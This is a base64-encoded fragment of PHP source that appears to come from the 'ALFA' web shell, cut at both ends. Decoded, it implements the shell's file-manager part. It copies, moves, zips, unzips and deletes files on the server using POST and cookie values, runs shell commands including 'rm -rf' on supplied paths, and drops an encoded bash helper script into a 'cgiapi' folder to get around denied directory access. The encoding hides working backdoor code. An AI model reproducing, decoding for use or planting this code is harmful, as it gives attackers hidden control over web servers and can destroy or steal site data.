XgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSk7CglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCQlhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7CgkJfQoJfQp9CmlmKGlzX2FycmF5KCRfUE9TVFsnZiddKSkKcmV0dXJuOwpicmVhazsKY2FzZSAncGFzdGUnOgppZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydhbGZhX2YnXSkpewpmb3JlYWNoKCRfQ09PS0lFWydhbGZhX2YnXSBhcyAkZikKY29weV9wYXN0ZSgkX0NPT0tJRVsnYWxmYV9jJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7Cn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnYWxmYV9mJ10pKXsKZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CmlmKEBpc19kaXIoJGMuJHMpKXsKQG1rZGlyKCRkLiRzKTsKJGggPSBAb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKQpAcmVuYW1lKCRfQ09PS0lFWydhbGZhX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKfWVsc2VpZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiR6aXBYID0gImFsZmFfIi5yYW5kKDEsMTAwMCkuIi56aXAiOwppZigkemlwLT5vcGVuKCR6aXBYLCAxKSl7CkBjaGRpcigkX0NPT0tJRVsnYWxmYV9jJ10pOwpmb3JlYWNoKCRfQ09PS0lFWydhbGZhX2YnXSBhcyAkZil7CmlmKCRmID09ICcuLicpY29udGludWU7CmlmKEBpc19maWxlKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpCiR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2FsZmFfYyddLiRmLCAkZik7CmVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpewokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CmZvcmVhY2goJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSl7CiRrZXkgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7CmlmKEBpc19kaXIoJGtleSkpewppZihpbl9hcnJheShzdWJzdHIoJGtleSwgc3RycnBvcygka2V5LCcvJykrMSksYXJyYXkoJy4nLCAnLi4nKSkpY29udGludWU7Cn1lbHNleyR6aXAtPmFkZEZpbGUoJGtleSwka2V5KTt9fX19CkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwokemlwLT5jbG9zZSgpOwpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319Cn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKSB7CmlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2FsZmFfYyddLiRmKSl7CiR6aXAtPmV4dHJhY3RUbygkX0NPT0tJRVsnYWxmYV9jd2QnXSk7CiR6aXAtPmNsb3NlKCk7fX19fQp1bnNldCgkX0NPT0tJRVsnYWxmYV9mJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZihpbl9hcnJheSgkX1BPU1RbJ2FsZmExJ10sIGFycmF5KCJjb3B5IiwgIm1vdmUiLCAiemlwIiwgInVuemlwIikpKXsKX19hbGZhX3NldF9jb29raWUoJ2FsZmFfYWN0JywgQCRfUE9TVFsnYWxmYTEnXSk7Cl9fYWxmYV9zZXRfY29va2llKCdhbGZhX2YnLCBAc2VyaWFsaXplKCRfUE9TVFsnZiddKSk7Cl9fYWxmYV9zZXRfY29va2llKCdhbGZhX2MnLCBAJF9QT1NUWydjJ10pOwpyZXR1cm47Cn0KfQpicmVhazsKfQp9CiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CmlmKHByZWdfbWF0Y2goIiMoLiopXC9cLlwuIyIsICRfUE9TVFsnYyddLCAkcmVzKSl7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsKCWFycmF5X3BvcCgkcGF0aCk7CgkkX1BPU1RbJ2MnXSA9IGltcGxvZGUoJy8nLCAkcGF0aCk7Cn0KJGNtZF9kaXIgPSBmYWxzZTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKXsKCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR0bXBfZ2V0ZGlyX3BhdGggPSBAJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoX3BhdGgiXTsKCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXhpc3RzKCR0bXBfZ2V0ZGlyX3BhdGguIi9hbGZhY2dpYXBpL2dldGRpci5hbGZhIikpewoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NNNWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3cvRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNUp2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsKCQkJJHRtcF9nZXRkaXJfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJnZXRkaXIuYWxmYSIsJGJhc2gpOwoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2giLCAidHJ1ZSIpOwoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOwoJCX0KCQkkZGlyQ29udGVudCA9IGFsZmFFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvYWxmYWNnaWFwaTtzaCBnZXRkaXIuYWxmYSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7CgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsKCQkJYXJyYXlfcG9wKCRkaXJDb250ZW50KTsKCQkJJGNtZF9kaXIgPSB0cnVlOwoJCX1lbHNlewoJCQkkZGlyQ29udGVudCA9IGZhbHNlOwoJCX0KCX0KfQphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZigkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CglAJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdID0gMTAwOwp9CiRhbGZhX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiYWxmYV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImFsZmFfc29ydF9ieSJdIDogJ25hbWUnOwokYWxmYV9saW1pdGVkX2ZpbGVzID0gaXNzZXQoJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdKSA/IChpbnQpJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdIDogMDsKJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPSBpc3NldCgkX1BPU1RbInBhZ2VudW0iXSkgPyAoaW50KSRfUE9TVFsicGFnZW51bSJdIDogMTsKJGFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsKJGZpbGVzX3BhZ2VfY291bnQgPSAxOwppZigkYWxmYV9saW1pdGVkX2ZpbGVzID4gMCl7CgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGFsZmFfbGltaXRlZF9maWxlcyk7CglpZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewoJCSRmaWxlc19wYWdlX2NvdW50Kys7Cgl9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxlPSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnYWxmYV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJuYW1lIiAnLigkYWxmYV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkYWxmYV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRhbGZhX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJhc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yOiMyNWZmMDA7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGFsZmFfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2llKFwnYWxmYV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJHNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSl7Cgkkc29ydFswXSA9ICRfQ09PS0lFWyJhbGZhX3NvcnRfYnkiXTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgewppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnYWxmYTEnXSwgJG1hdGNoKSkKJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKfQppZigkYWxmYV9maWxlc19wYWdlX251bWJlciA+ICgkZmlsZXNfcGFnZV9jb3VudC0xKSl7CgkkYWxmYV9maWxlc19wYWdlX251bWJlciA9IDE7Cn0KJGNoZWNrYm94X3JhbmQgPSByYW5kKDExMTExLCA5OTk5OSk7CmVjaG8gIjxmb3JtIG9uc3VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVja0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKJG4gPSAkY291bnRfZGlyQ29udGVudDsKaWYoJG4gPiAkYWxmYV9saW1pdGVkX2ZpbGVzICYmICRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwKXsKCSRuID0gKCRhbGZhX2xpbWl0ZWRfZmlsZXMgKiAkYWxmYV9maWxlc19wYWdlX251bWJlcik7CglpZigkbiA+ICRjb3VudF9kaXJDb250ZW50KXsKCQkkbiA9ICRjb3VudF9kaXJDb250ZW50OwoJfQp9CiRpID0gMDsKaWYoJGFsZmFfbGltaXRlZF9maWxlcyA+IDAgJiYgJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPiAxKXsKCSRpID0gJGFsZmFfbGltaXRlZF9maWxlcyAqICgkYWxmYV9maWxlc19wYWdlX251bWJlciAtIDEpOwp9CiRwYWdlX2J1aWxkZXIgPSBnZXRfcGFnaW5hdGlvbl9saW5rcygkYWxmYV9maWxlc19wYWdlX251bWJlciwkZmlsZXNfcGFnZV9jb3VudCAtMSk7CiRjbWRfZGlyX2JhY2twID0gIiI7CmZvcig7JGk8JG47JGkrKyl7CmlmKCRjbWRfZGlyKXsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldWyJuYW1lIl07CiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOwokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgJGRpckNvbnRlbnRbJGldWyJtb2RpZnkiXSk7CiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVudFskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsKJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOwppZihzdWJzdHIoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0sIDAgLDEpID09ICIvIil7CiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gPSAiLi4iOwokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfWVsc2V7CiRmaWxlX3BhdGggPSAkR0xPQkFMU1snY3dkJ10uIi8iLiRkaXJDb250ZW50WyRpXVsibmFtZSJdOwp9Cn1lbHNlewokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGFsZmFQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnID0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigkZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewoJJHRtcFsicGF0aCJdID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCByZWFscGF0aCgkZmlsZV9wYXRoKSk7Cn0KaWYoISRjbWRfZGlyKXsKaWYoQGlzX2ZpbGUoJGZpbGVfcGF0aCkpewokYXJyX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOwppZihAaXNfbGluaygkZmlsZV9wYXRoKSl7CiRhcnJfbXJnWyJsaW5rIl0gPSByZWFkbGluaygkdG1wWydwYXRoJ10pOwp9CiRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgJGFycl9tcmcpOwp9ZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7Cn1lbHNlaWYoQGlzX2RpcigkZmlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSl7CiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQp9ZWxzZXsKCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpewoJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJfWVsc2V7CgkJaWYoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gIT0gIi4iKXsKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJCX0KCX0KfQp9CiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKZnVuY3Rpb24gYWxmYUNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImFsZmFDbXAiKTsKdXNvcnQoJGRpcnMsICJhbGZhQ21wIik7CmlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSYmICFlbXB0eSgkX0NPT0tJRVsiYWxmYV9maWxlc21hbl9kaXJlY3Rpb24iXSkpewoJaWYoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsKCQkkZmlsZXMgPSBhcnJheV9yZXZlcnNlKCRmaWxlcyk7CgkJJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKCX0KfQokZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKJGw9MDsKJGNjPTA7CmZvcmVhY2goJGZpbGVzIGFzICRmKXsKJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7CiRuZXduYW1lID0gbWJfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsKJGNoZWNrYm94ID0gJ2NoZWNrYm94XycuJGNoZWNrYm94X3JhbmQuJGNjOwokcmF3X25hbWUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7CiRpY29uID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPyc8aW1nIHNyYz0iJy5maW5kaWNvbigkZlsnbmFtZSddLCRmWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzonJzsKJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOwplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyIgaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PGxhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4mcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3NldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlz